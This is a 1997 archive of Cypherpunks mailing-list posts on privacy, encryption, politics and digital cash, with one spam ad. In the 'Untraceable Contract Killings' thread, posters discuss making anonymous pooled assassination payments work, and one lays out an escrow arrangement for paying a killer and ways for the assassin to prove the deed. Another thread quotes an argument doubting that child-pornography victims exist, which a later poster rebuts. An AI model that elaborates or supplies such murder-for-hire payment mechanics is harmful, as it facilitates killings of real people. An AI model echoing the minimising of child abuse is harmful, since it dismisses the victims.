.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From trei at process.com  Wed Jun 11 09:45:38 1997
From: trei at process.com (Peter Trei)
Date: Thu, 12 Jun 1997 00:45:38 +0800
Subject: FCPUNX:Response to 'My War'
Message-ID: <199706111629.JAA02709@toad.com>



James A Donald writes:

> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> > Anyone who thinks this doesn't affect the young children, you are wrong. 
> > I doubt these children consented to the sexual activity. I doubt they 
> > consented to being photographed. I doubt they consented to the pictures 
> > being distributed to others.
> 
> Most of these children are adults now.  A great many of them are 
> grandmothers.  Yet I see no prosecutions for the distribution of 
> images by the supposed victims.
[...]
> Produce a victim and you will find it a lot easier to prosecute.

See http://www.net.be/connerotte/english-text.html for the timeline 
of last year's child sex & porn scandal in Belgium. Some of the 
victims there will never bring suit: they are dead.

Peter Trei
trei at process.com

 






From stewarts at ix.netcom.com  Wed Jun 11 10:04:19 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 12 Jun 1997 01:04:19 +0800
Subject: Untraceable Contract Killings
In-Reply-To: 
Message-ID: <3.0.1.32.19970611095122.006bf104@popd.ix.netcom.com>



At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
>I think the novelty of Bell's scheme is that it allows assassination
>payments to be pooled from a large number of anonymous payers without
>explicit coordination (i.e., the payers do not have to communicate with
>each other to work out a contract, etc.).  

That's not the novel part - in addition to anonymous contract killings,
it's also easy to run an anonymous fund that _claims_ it will use any
donations of digicash encrypted to the fund's public key for assassinating
the designated target.  In both that approach, and Bell's, there's still
the reputation problem of making sure the person collecting the money
really does pay off the killer.  What's novel about Bell's version
(and I don't know whether it originate with him or not) is that
it provides a cyberspace-only mechanism for the assassin to 
demonstrate to the payer that he's the one who did the job
and isn't some wannabe claiming to have done it to collect the cash.
	(like the wannabes who called newspapers claiming to
	have been the World Trade Center bombers, etc.)
There are alternatives, like posting a photo of the corpse to
a time-stamping service and then to Usenet, though this adds
some risk to the assassination, and is less useful for
public killings (e.g. if the President gets shot,
and there's a well-known address for the assassination pool,
the White House Press Corps may try to get their photographs
into the pool before sending them to Reuters and, umm, AP.)

The assassin still has to make sure he gets paid, and Bell suggests
(incorrectly, I think) that since all the payer is doing is
running a lottery, not contracting for killings, that the payer
could be a persistent entity with some reputation capital
who has an incentive to pay off.  

>Now in light of the fact that when the target has many enemies the
>assassination becomes a non-excludable public good, it is almost certain
>that the scheme cannot actually work in practice.  All of the potential
>payers would rather free-ride and let others pay, so the public good ends
>up not being "produced".

I think Bell is imagining that a lot of people would be willing to
pay $5 for killing high-profile targets, like a few IRS agents,
so this wouldn't be a problem for the targets _he_ wants killed off.
Getting people to chip in large amounts of money is tougher.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From jim.burnes at ssds.com  Wed Jun 11 10:34:33 1997
From: jim.burnes at ssds.com (Jim Burnes - Denver)
Date: Thu, 12 Jun 1997 01:34:33 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 





On Tue, 10 Jun 1997, Steve Schear wrote:

> Date: Tue, 10 Jun 1997 18:22:38 -0700
> From: Steve Schear 
> To: Jim Burnes 
> Cc: cypherpunks at toad.com
> Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
> 
> >I understand, but my point was that at some point the system of "law"
> >became simply a system of supplicating the masses and no longer serves
> >justice.  When the system of law ceases to be a system of law and becomes
> >of system of corruption I no longer refer to it as law.  Important
> >Orwellian distinction.  Never let the bastards control the definitions and
> >language.
> 
> "Nothing distinguishes more clearly conditions in a free country from those
> in a country under arbitrary government than the observance in the former
> of the great principles known as the Rule of Law. Stripped of all
> technicalities, this means that government in all its actions is bound by
> rules fixed and announced beforehand-rules which make it possible to
> foresee with fair certainty how the authority will use its coercive powers
> in given circumstances and to plan one's individual affairs on the basis of
> this knowledge."
> 
> >From "The Road to Surfdom," F.A. Hayek, as quoted from the classical
> exposition by A. V. Dicey in "The Law of the Constitution" (8th ed.), p.
> 198, the Rule of Law "means, in the first place the absolute supremacy or
> predominance of regular law as opposed to the influence of arbitrary power,
> and excludes the existence of arbitrariness, of prerogative, or even of
> wide discretionary authority on the part of government."
> 

Steve:

Thanks.

I think you agreed with me there.  I agree with Hayek's observation.

When the government is no longer bound by the "Rule of Law" (c),
it is no longer a rule of law, but becomes a capricious set of
miscellany designed to entrap (when necessary) those who would
oppose the priveledged.

(those with access to large amounts of cash, lawyers, connections
etc)

Jim Burnes






From whgiii at amaranth.com  Wed Jun 11 11:16:26 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 12 Jun 1997 02:16:26 +0800
Subject: FCPUNX:Response to 'My War'
In-Reply-To: <199706111629.JAA02709@toad.com>
Message-ID: <199706111752.MAA04887@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706111629.JAA02709 at toad.com>, on 06/11/97 
   at 12:29 PM, "Peter Trei"  said:

>James A Donald writes:

>> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
>> > Anyone who thinks this doesn't affect the young children, you are wrong. 
>> > I doubt these children consented to the sexual activity. I doubt they 
>> > consented to being photographed. I doubt they consented to the pictures 
>> > being distributed to others.
>> 
>> Most of these children are adults now.  A great many of them are 
>> grandmothers.  Yet I see no prosecutions for the distribution of 
>> images by the supposed victims.
>[...]
>> Produce a victim and you will find it a lot easier to prosecute.

>See http://www.net.be/connerotte/english-text.html for the timeline  of
>last year's child sex & porn scandal in Belgium. Some of the  victims
>there will never bring suit: they are dead.

I think that you are missing the most important part of those articles:

The so-called "protectors of childered" ie government officials were
involved in the kidnaping, rape, and pornography of children and the
subsequent cover-up after the fact.

If there was ever a need for AP this is it.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM57nGY9Co1n+aLhhAQG/qwQArYcNLQRy7NDBh07scHbbEHh3FrJTrsVq
vU8VP6zOyOT0wes/SKjebs2hG2+outN3FrxspaM8ZVjubCuQlAxHsVm5lRLeL9HW
tL20dk6VZAIHgZaPJz3mvXu/k5R9O9upn9+OihMi/X5zUlbXonnThiC0Q/fvFZiw
46F0eXeLCyc=
=BBvI
-----END PGP SIGNATURE-----






From jya at pipeline.com  Wed Jun 11 11:17:46 1997
From: jya at pipeline.com (John Young)
Date: Thu, 12 Jun 1997 02:17:46 +0800
Subject: Unleashing Micro Viruses on Networks
Message-ID: <1.5.4.32.19970611175700.008324f4@pop.pipeline.com>



     6-11-97, Janes' Defence Weekly:

     Unleashing Microbots on Iran's IT Networks

     Unlike the 1990-1991 Gulf War, when the USA inserted a 
     National Security Agency-developed, virus-laden microchip 
     into a French computer printer headed for Baghdad, in 2015 
     the USA relies on several methods for infecting Iranian
     computers. These efforts hope to get around problems
     created by the proliferation of encryption technology. 

     While some peripheral equipment, like printers, will be
     intercepted and bugged in order to disable mainframe
     computers, intelligence technicians will also use the internet
     to send guided viruses into Iran's national information
     infrastructure. 

     Thumbnail-sized micro-robots, known as `microbots', will
     also be unleashed by micro-air vehicles and naval guns. These
     parasites will creep into electronic equipment, attach
     themselves, and keep themselves alive by draining generator
     power. 

     Once the electronics system's energy is depleted, the fully
     charged microscopic vermin will search for a new victim. 

     The main problem will be that they are too small to carry
     identification equipment and so they infect indiscriminately.
     As such, they must be deployed far away from allied
     equipment. 

     However, packages of microbots can be destroyed remotely
     as allies prepare to invade enemy territory. 

     <> 

     [Copyright 1997, Jane's Information Group] 






From janzen at idacom.hp.com  Wed Jun 11 11:19:02 1997
From: janzen at idacom.hp.com (Martin Janzen)
Date: Thu, 12 Jun 1997 02:19:02 +0800
Subject: CORBA Security beta from IONA
Message-ID: <9706111808.AA04795@sabel.idacom.hp.com>




I just received the latest "IonaSphere" newsletter from IONA, makers of
the Orbix Object Request Broker (ORB), and noticed this item which may
be of interest to some of the people on this list:


I28-B> IONA announces beta of CORBA Security Implementation
===========================================================
OrbixSecurity enables organizations to deploy their mission-critical
distributed systems on multiple platforms securely.  It is tightly
integrated with IONA's leading object request broker Orbix and facilitates
the creation of CORBA level 1 secure distributed component-based
applications.

In parallel with the development of OrbixSecurity, IONA is also working on
a secure socket layer (SSL v3.0) solution.  SSL will be bundled in the
company's Orbix/OTM enterprise suite of object development and management
tools, also scheduled for the third quarter.  SSL security offers
authentication (based on X.509 certificates) and encryption (based on
public and session key technologies).

Subsequent to the initial general availability of OrbixSecurity in the
third quarter of 1997, IONA will be working towards level 2 security
support (which deals mostly with the definition and administration of
security policies and domains) via product extensions and third party
integrations.

Availability
The OrbixSecurity beta is available immediately on the Sun Solaris and
Windows NT platforms.  To participate in the beta program send an e-mail
to beta at iona.com

For more information see http://www.iona.com/Press/PR/security.html


(Standard disclaimers: I don't work for these guys, get paid by them, etc...)

--
Martin Janzen           janzen at idacom.hp.com






From warlord at MIT.EDU  Wed Jun 11 11:41:18 1997
From: warlord at MIT.EDU (Derek Atkins)
Date: Thu, 12 Jun 1997 02:41:18 +0800
Subject: [Noise, California only] Good deal on ISDN access
Message-ID: <199706111830.OAA02270@charon.MIT.EDU>



> When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
> month.  Not as fast, but a much better price/performance ratio.

Granted, ISDN gives you only twice that of a 56k modem (ISDN gives you
128k), the major benefit of using ISDN over analog is latency.  The
latency of analog modems is as high as 300ms, whereas the latency of
an ISDN link is about 10% of that.  MUCH better for real-time
interactive connections.

It all depends on how you define "performance".  If you really want
good performance, get MediaOne, RoadRunner, of @Home service.

-derek

       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord at MIT.EDU                        PGP key available






From reusch at pluto.njcc.com  Wed Jun 11 11:41:34 1997
From: reusch at pluto.njcc.com (Michael  F. Reusch)
Date: Thu, 12 Jun 1997 02:41:34 +0800
Subject: IRS T-Pole Surveillance
Message-ID: <3.0.1.32.19970611142023.006ad890@mail.njcc.com>



>Commerce Business Daily, June 11, 1997
>Department of the Treasury, Internal Revenue Service, 
>6009 Oxon Hill Road, Suite 700, Oxon Hill, MD 20745
>Surveillance Systems SOL TIRNO97R00049 DUE 073097 
>POC Contract Specialist, Steve VanderLinden, FAX (202) 283-1514 

>The Internal Revenue Service requires enclosed surveillance systems 
>configured as transformers for mounting on telephone poles....

http://www.ld.com/cbd/archive/1997/06(June)/11-Jun-1997/58sol002.htm

Still laughing. Made my day!










From trei at process.com  Wed Jun 11 12:18:47 1997
From: trei at process.com (Peter Trei)
Date: Thu, 12 Jun 1997 03:18:47 +0800
Subject: (Fwd) Re: FCPUNX:Response to 'My War'
Message-ID: <199706111900.MAA04546@toad.com>




William H. Geiger III wrote:
> >James A Donald writes:
> 
> >> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> >> > Anyone who thinks this doesn't affect the young children, you are wrong. 
> >> > I doubt these children consented to the sexual activity. I doubt they 
> >> > consented to being photographed. I doubt they consented to the pictures 
> >> > being distributed to others.
> >> 
> >> Most of these children are adults now.  A great many of them are 
> >> grandmothers.  Yet I see no prosecutions for the distribution of 
> >> images by the supposed victims.
> >[...]
> >> Produce a victim and you will find it a lot easier to prosecute.
> 
> >See http://www.net.be/connerotte/english-text.html for the timeline  of
> >last year's child sex & porn scandal in Belgium. Some of the  victims
> >there will never bring suit: they are dead.
> 
> I think that you are missing the most important part of those articles:
> 
> The so-called "protectors of childered" ie government officials were
> involved in the kidnaping, rape, and pornography of children and the
> subsequent cover-up after the fact.
> 
> If there was ever a need for AP this is it.

Mr Donald asked people to produce victims of child porn production, 
and implied that unless such victims could be found, we should assume
that the whole business was consensual fun. I have provided him with
proof of such victims. (I'm curious to see how he'll respond).

That there was (and for all I know, continues to be) high level
collusion within the Belgium government to hush this up is a side 
issue.

While the perpetrators of these atrocities should be given life
without parole, I say that AP is not the answer. I object to the 
death penalty in all circumstances.

Peter Trei
trei at process.com
 






From trei at process.com  Wed Jun 11 12:50:30 1997
From: trei at process.com (Peter Trei)
Date: Thu, 12 Jun 1997 03:50:30 +0800
Subject: (Fwd) FWD: Texas Driver's License database on the web
Message-ID: <199706111929.MAA04945@toad.com>



Just in case it's not clear from the headers, this is being posted
by Peter Trei.

------- Forwarded Message Follows -------
Some forwards removed.

From: Jim Thompson 

I got a '503 Service Unavailable  this server has been placed offline
by the operator.  Please try again later.'  response the first two
times I tried.  But then...

Oh look.  A record of which elections in which you've voted.

If you don't think this is the likely future, you're dead wrong.

Jim

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
From: Brent Heustess 

   This is a really spooky web site .  You can
search 17 million Texas drivers by name, driver's license number or
license plate number.  When you find a person, you can then find everyone
at that address with a license.  You can even find everyone with the same
9-digit zip code.  The record does not have a GIF of the photo, but it
has everything else on the license.

   Did Psychos-R-Us request this site?  "Could you create a database so I
don't miss anyone when I go on a killing spree on the 900 block of
Rosewood?"
   "28 my ass.  I just checked the web and it says you were born 1965.  Not
ready to admit to be post-30?  I'm not buying the 'I weigh 110' either.  I
read 118 plain as day."
   "I can't believe it.  That asshole just cut me off.  Well, Mr. ZBW-446,
I guess a little midnight visit is in order to 1918 Grover St.  Prepare to
be stalked."
   "Johnny, I looked up your record last night and I couldn't believe my
eyes.  You're livin' in sin with that Sally Jenkins slut.  How could you do
this to your Dad & me?  You move out now or we're gonna cut off your
college money!"

   Public Link says this is public information, but where are the good old
days when you had to have a friend down at the Dept of Public Safety who
would look plate numbers up for you?  If it was good enough for Rockford,
it's good enough for me.  Suprress your phone number & address from the
phone book, but then it shows up in a searchable database on the web.
Lot of good that did you.  Now all those 7th Day Adventists know excatly
where you live.  Privacy, schmivacy.

Ta,
Brent

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                        Public Link Corporation
                   Public Databases on the Internet

             5930-E Royal Lane Ste 173, Dallas, TX 75230
                            (214) 890-6817

Welcome to Public Link Corp., the Information Source of the Internet.
We are here to provide public access to public information and public
databases.

The company uses data obtained from public sources currently available
through the Freedom of Information Act and Open Records Laws. We
believe it is the citizen's right to have this information available
for their use.

We expect to grow our database offerings to you over the next several
months. Many times you have needed the type of information we provide
and have had to use varous methods to obtain the information. Some of
these methods you would prefer not to have to use again. Not any more!
Just sit back and let us do the work for you. If you have a special
suggestions or request, please let us know. Come and join us as we
enter the information age!

- - ----------------------------------------------------------------------

TexasDriverLink
State of Texas Licensed Drivers. Over 17,000,000 Texas Drivers License
Information. Updated weekly. This database contains the information
contained on a person's drivers license. Data included are Name,
Address, Weight, Birth Date, Sex, Expiration Date, Status (Active or
Suspended), Class of License, and Restrictions. This database does not
contain information on a person's traffic tickets, DWIs, or Insurance
information. Search either by name or if you know the drivers license
number, search by number.

TexasTagLink
State of Texas License Plates. Over 16,000,000 license plates with
accompaning information. Updated weekly. This database contains the
information about the owner of a vehicle. This database does not
contain insurance information. Search currently only available by
plate number.

TexasDallasVoterLink
Registered voter role for Dallas County Texas. This database also
contains voting history for each of the one million registered voters.
This database is updated quarterly.

TexasArrestLink

EvictionLink

CivilCourtLink

PropertyOwnerLink

MarriageRecordLink

- --
Jim Thompson / Smallworks, Inc. / jim at smallworks.com
      512 338 0619 phone / 512 338 0625 fax
HTML:  The 3270 of the 90s






From 53365743 at prodigy.com  Thu Jun 12 04:06:16 1997
From: 53365743 at prodigy.com (53365743 at prodigy.com)
Date: Thu, 12 Jun 1997 04:06:16 -0700 (PDT)
Subject: toner
Message-ID: <612357fdsd623f73642gejgsh6e2897>







(For all your Printer/Fax/Copier Supplies)

BENCHMARK PRINT SUPPLY
5579-B Chamblee Dunwoody Rd  #371
Atlanta GA 30338
(770)512-0083

PLEASE FORWARD TO YOUR OFFICE SUPPLY MANAGER

As of 4/1/97 our new, laser printer cartridge, prices are as follows:

HEWLETT PACKARD

Series 2,3=$59   
Series 2P=$54 (After $10 Rebate)
Series 4,4M,4 Plus =$79
Series 3SI/4SI=$85
Series 4L=$54 (After $10 Rebate)
Series 5L=$50 (After $10 Rebate)
Series 5P=$79  (After $10 Rebate)
Series 4V=$100 (After $10 Rebate)
Series 5SI= $135 (After $25 Rebate)
Fax  FX1/FX2=$59 (After $10 Rebate)
Deskjet/Inkjet= Please call for $$.

IBM/LEXMARK:  

Optra 4019/4029/4039=$125

EPSON: 

Models  7000/1500=$100 (After $15 Rebate)

CANON FAX/PC'S:   

700,770,5000,7000=$59 (After $10 Rebate)
PC Copier 6re/7/11=$69 (After $10 Rebate)
PC Copier 320=$79 (After $10 Rebate)


FOR OTHER PRINTER/FAX/COPIER SUPPLIES NOT LISTED ABOVE PLEASE CALL.

- All major credit cards accepted. 
- Corporate term accounts available with approved credit.
- Our office hours are 10-6 E.S.T.
- Sorry but e-mail orders or inquiries are not accepted at this time


TO BE REMOVED FROM OUR LIST CLICK ON BLUE BELOW
AND IN THE HEADER TYPE "REMOVE".

click here 

mailto:capital at answerme.com






From declan at well.com  Wed Jun 11 13:47:58 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 12 Jun 1997 04:47:58 +0800
Subject: Money magazine on digital cash
Message-ID: 



As some of you know, I work in the Washington bureau of Time Inc., which is
home not just to Time Magazine and AllPolitics but also People and Money.
Some folks down the hall at Money are working on an article about digital
cash and the Net and would like to interview some folks who might have
something interesting to say. Keep in mind the magazine's focus is on
personal finance. If you're interested let me know and I'll forward your
names and contact info.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From declan at well.com  Wed Jun 11 13:49:24 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 12 Jun 1997 04:49:24 +0800
Subject: Flag burning vote TOMORROW and government-imposed ratings
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 11 Jun 1997 13:32:35 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Flag burning vote TOMORROW and government-imposed ratings

I don't often forward along non-Net issues, but these are too important to
ignore. First, from my colleagues at AllPolitics:

	http://www.allpolitics.com/1997/gen/analysis/counterpoint/

        Counterpoint: Ban Flag Burning?

        It's baaaack.....! The House is set to vote June 12 on
	a proposed amendment to the Constitution that would
	ban flag desecration. Democratic Rep. William
	Lipinksi, a lead sponsor, says the flag is too
	important a symbol not to be protected, while ACLU
	executive director Ira Glasser warns against
	weakening the First Amendment.

Read on for a note from Chris Finan. Also check out Cato's web site for a
related paper on mandatory "voluntary" ratings by f-c subscriber Bob
Corn-Revere:

  http://www.cato.org/pubs/briefs/v_chipes.html

-Declan

---------- Forwarded message ----------
Date: Tue, 10 Jun 1997 12:43:54 -0400
From: Chris Finan 
To: Declan McCullagh 
Subject: Government ratings of TV

Declan,

	The opponents of government-mandated TV ratings need help.  The FCC is
under heavy pressure to appoint a panel to devise a system of ratings to
replace the ratings that the networks have voluntarily adopted.  More than
300 of the 355 e-mail comments received by the FCC have been from
individuals and groups urging greater censorship of TV.

	Would you post this message on the Fight Censorship list to let people
know that they can e-mail their views to the FCC?  Their messages, which
needn't be long or formal, should be sent to vchip at fcc.gov as soon as
possible. 

	The Free Expression Network has jumped in with both feet to the fight
against a government-mandated TV rating system.  Its website, the Free
Expression Clearing House, www.freeexpression.org, has a lot of current
information on the TV ratings fight.

	Thanks.  








From tzeruch at ceddec.com  Wed Jun 11 13:55:04 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 12 Jun 1997 04:55:04 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: 
Message-ID: <97Jun11.164333edt.32257-1@brickwall.ceddec.com>



On Tue, 10 Jun 1997, Steve Schear wrote:

> All prohibition of speech should be based on the judgement of whether or
> not specific individiuals (not general groups or socienty at large) can be
> reasonably be deduced to be at immediate risk or be harmed from that speech.

So, if "speech" can cause individuals in X to harm individuals in Y, there
is reason to prohibit it.

> I find lust to be a noble urge.

Then you probably find rape a noble deed.  I do not.  If you are referring
to the acts our net.loon often posts to this list, I hope you enjoy
placing yourself at his level.  My ideas originate above my limbic system.

> What happens when you sell high-power autos to immature consumers which can
> only be used as promoted by traveling at speeds well in excess of safe?

Which is why we have Drivers Licenses, lame as they are.  There should be
far more education - Germany doesn't have the same problems, but their
higher speeds are accompanied by higher thresholds for licensing and a
different driving ethic.

> Following this line of reasoning, isn't it appropriate that any
> attractive/exciting experience which gets the adreneline pumping (with the
> possibility for abuse and injury to third-parties) be regulated?

At least Detroit didn't burn down because the Red Wings won.  I would hope
the police are at least worried about riot control, and last time I
checked, inciting a riot wasn't considered free speech.

> >With guns and explosives, there is greater likelyhood that someone will
> >injure themselves or their own property on a destructive binge.  This type
> >of expression is more benign, though I don't think it represents the
> >better angels of our nature.  But I see no threat to me personally from
> >such people.
> 
> I think some families in Oklahoma City may disagree.

The information on how to do demolition is available from the army, and
the ingredients were commonly available.  As was the truck he used to
transport it.  We can prevent many fires by an outright ban on gasoline. 

What item, if banned, would have prevented the act?

> >But I would not want to have someone leave the two components to a binary
> >nerve gas on a shelf...
> 
> Now you've transgressed from speech to possession.

I thought libertarians thought any mere possession should not be a crime.

> >Something that is in and of itself a turning away from reason and giving
> >in to emotion, and the ultimate destination of that path if it is followed
> >will result in injury to others, especially innocents, is something that
> >should be regulated.
> 
> Regulated or banned?  I find war to be the best such example, but we still
> have massive armies and a military-industrial complex don't we?

Within the edited section, I suggested something to this effect.  The
regulation should be such that they can do whatever act where I will be
safe from them.  If they are willing to spend their days in a "Molester's
Monastery", they can look at whatever they want.  You can drink all you
want, but then you cannot drive a car until you are sober.  Anyone willing
to quarantine themselves should be able to do what they want.  People who
want to go out into public have responsibilities.

> >This form of "information" is an addictive drug, with the side effect is
> >that it destroys others much more than it destroys the abuser,
> 
> Can you back up this assertion with clinical data?

Not off hand.  I also cannot back up the statement that I will die if I
drink a particular poison (since I may have a particular immunity) without
conducting the test.  Can you suggest how we may conduct such a test on
kiddie porn without threatening children?

> >This does not mean that I am any less a civil-cyber-libertarian..
> 
> I believe it means you are a wanna-be Libertarian.

No, I am an autoarchist not an anarchist.  I belive in self-control which
is the difference between liberty an license.  If liberty is given to
barbarians it will be lost for everyone.

I want cryptography available even though it makes child-porn easier to
hide for the same reason I want gasoline available although it makes arson
easier to commit.  But I do not have to be pro-arson to be pro-gasoline.

And I can differentiate between ideas (which are protected free speech),
and things without any such content.






From randerso at ece.eng.wayne.edu  Wed Jun 11 14:17:57 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 12 Jun 1997 05:17:57 +0800
Subject: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: 



On Wed, 11 Jun 1997, Peter Trei wrote:

>    Did Psychos-R-Us request this site?  "Could you create a database so I
> don't miss anyone when I go on a killing spree on the 900 block of
> Rosewood?"

The (very very very very very) minor redeeming factor is that you have to
be someone with knowledge of someone's valid Texas driver's license.  So
it's not *FULLY* available on the net.  Though, someone will probably leak
a userid in the next week or so, and then anyone can use it...

Why do people do these things?  (I wonder if publiclink is actually
physically located in Texas..)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From mclow at owl.csusm.edu  Wed Jun 11 15:05:24 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Thu, 12 Jun 1997 06:05:24 +0800
Subject: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: 



On Wed, 11 Jun 1997, Ryan Anderson wrote:
>On Wed, 11 Jun 1997, Peter Trei wrote:
>
>>    Did Psychos-R-Us request this site?  "Could you create a database so I
>> don't miss anyone when I go on a killing spree on the 900 block of
>> Rosewood?"
>
>The (very very very very very) minor redeeming factor is that you have to
>be someone with knowledge of someone's valid Texas driver's license.  So
>it's not *FULLY* available on the net.  Though, someone will probably leak
>a userid in the next week or so, and then anyone can use it...
>
>Why do people do these things?  (I wonder if publiclink is actually
>physically located in Texas..)
>
Why do people do what things?

Do you mean:
Why does the state of Texas collect this information and sell it
to anyone who is willing to write a check?

or:
Why would anyone take this publically availiable information
and make it available to the public?


When my libertairan streak is in full flood, I think that since
this information was collected by government employees and
paid for by tax dollars, that it should be availiable to anyone
who wants it, for (minimal or) no cost.

Of course, the better solution is to not collect the information
at all. (Not selling it just means that people can buy it on the
black market, or in the case of TRW, etc; buy legislatures)


-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From markm at voicenet.com  Wed Jun 11 15:11:44 1997
From: markm at voicenet.com (Mark M.)
Date: Thu, 12 Jun 1997 06:11:44 +0800
Subject: Untraceable Contract Killings
In-Reply-To: <3.0.1.32.19970611095122.006bf104@popd.ix.netcom.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 11 Jun 1997, Bill Stewart wrote:

> At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
> >I think the novelty of Bell's scheme is that it allows assassination
> >payments to be pooled from a large number of anonymous payers without
> >explicit coordination (i.e., the payers do not have to communicate with
> >each other to work out a contract, etc.).  
> 
> That's not the novel part - in addition to anonymous contract killings,
> it's also easy to run an anonymous fund that _claims_ it will use any
> donations of digicash encrypted to the fund's public key for assassinating
> the designated target.  In both that approach, and Bell's, there's still
> the reputation problem of making sure the person collecting the money
> really does pay off the killer.

I don't think this is much of a problem.  As long as someone is found
dead prematurely, the people who offered money for the assassination
got their wish.  Whether or not it goes to the real killer is
irrelevant.  From the killer's point of view, the problem of whether
or not he will get his payment is easily solved:

Both parties could mutually agree to use an escrow service to take care
of releasing or retaining the money.  The service wouldn't have to be
anonymously run and would remain ignorant of the uses of its service
The payer would put up a certain amount of money either equal to,
greater than, or less than the cost of the killing depending on the
relative reputations of the payer and payee.  If the payee doesn't
claim the money after x number of days, it gets returned to the payer.
If the payee authorizes the release of the money to the payee and the
payee claims it, it goes to the payee.  And if only one authorizes the
release of the money to the payee, it remains with the escrow service.
This prevents the payer from ripping off the payee.  The only flaw is
that the payee could claim the money but the payer could not authorize
its release.  It's a great way to cheat someone out of a large amount
of money, but it doesn't do the cheater any good, because he won't be
able to benefit from it (unless the cheater happens to be the escrow
agent).

> What's novel about Bell's version
> (and I don't know whether it originate with him or not) is that
> it provides a cyberspace-only mechanism for the assassin to 
> demonstrate to the payer that he's the one who did the job
> and isn't some wannabe claiming to have done it to collect the cash.
> 	(like the wannabes who called newspapers claiming to
> 	have been the World Trade Center bombers, etc.)
> There are alternatives, like posting a photo of the corpse to
> a time-stamping service and then to Usenet, though this adds
> some risk to the assassination, and is less useful for
> public killings (e.g. if the President gets shot,
> and there's a well-known address for the assassination pool,
> the White House Press Corps may try to get their photographs
> into the pool before sending them to Reuters and, umm, AP.)

Bell's idea was basically that demonstrating foreknowledge of the
killing was adequete proof that the person demonstrating this
knowledge was the assassin.  This generalization can be used for
anonymous contract assassinations, also.  The assassin could give
vague information to the payer such as the method of killing, caliber
of bullet used, or the week that the killing is to take place.  In
fact, anonymous contracts could be viewed as the same thing as
AP, except that anonymous assassination contracts don't try to pretend
it's just about betting on someone's death.




Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM58UBCzIPc7jvyFpAQGKAQf6A9frjblw/ecGYZNxoaU4/KKFUbcYxqGx
YZeOJnIpG0cwuOEwiHRZqxZQy2oLV5cL18nfuXbyAoYY4a+voH0KQ+f94i7kJWKd
7pJrL0e+Sm6yT7jnFS4les5YBFVwgumau54BnLC3Th37F+v0slsCIKpkso28tbLW
A1mbft6G85RV080yxiat3Ee6dDmfQ33bJvh1/kNmluj+2yaX175LXMs4FS0xLO3G
87nZ4YmHf1KiQPhNEYmnIdVd+MmEnHN+aw+I4G654AEuRoHKQhoeIrdPCNuQJZv0
02dhYiEfqDNxx2GVDqovoxqHLAwuJAPJ5D2jU0HWRiu9fLzCno1Qhw==
=0nkq
-----END PGP SIGNATURE-----






From minuteman at fuse.net  Wed Jun 11 15:49:51 1997
From: minuteman at fuse.net (Tom McClanahan)
Date: Thu, 12 Jun 1997 06:49:51 +0800
Subject: mailing list
Message-ID: <339F2887.1F56@fuse.net>



I would like to be on your mailing list.

minuteman at fuse.net

Thank you.






From Ed.Falk at Eng.Sun.COM  Wed Jun 11 16:36:51 1997
From: Ed.Falk at Eng.Sun.COM (Ed Falk)
Date: Thu, 12 Jun 1997 07:36:51 +0800
Subject: June 18th SF C'punks meeting: export controls on trial
